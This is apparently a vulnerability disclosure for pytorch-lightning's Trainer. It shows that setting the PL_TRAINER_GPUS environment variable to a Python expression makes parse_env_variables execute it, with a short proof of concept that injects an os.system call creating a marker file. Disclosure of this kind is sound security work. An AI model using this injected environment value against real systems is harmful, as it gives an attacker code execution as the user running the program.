Description

The attacker can execute commands on the target OS running the operating system by setting the PL_TRAINER_GPUS when using the Trainer module.

Proof of Concept

$ pip3 install pytorch-lightning

import os
from pytorch_lightning import Trainer
from pytorch_lightning.utilities.argparse import *


parse_env_variables(Trainer)

$ ls

os.environ["PL_TRAINER_GPUS"] = 'os.system("touch rickroll")'

parse_env_variables(Trainer)

$ ls
rickroll

Collab Notebook: https://colab.research.google.com/drive/1lMPSsKN7cNWcHkh7ZBvsNkCZRcoTPJq8?usp=sharing

Impact

This vulnerability is capable of executing remote code on the target system in the context of the user running the program.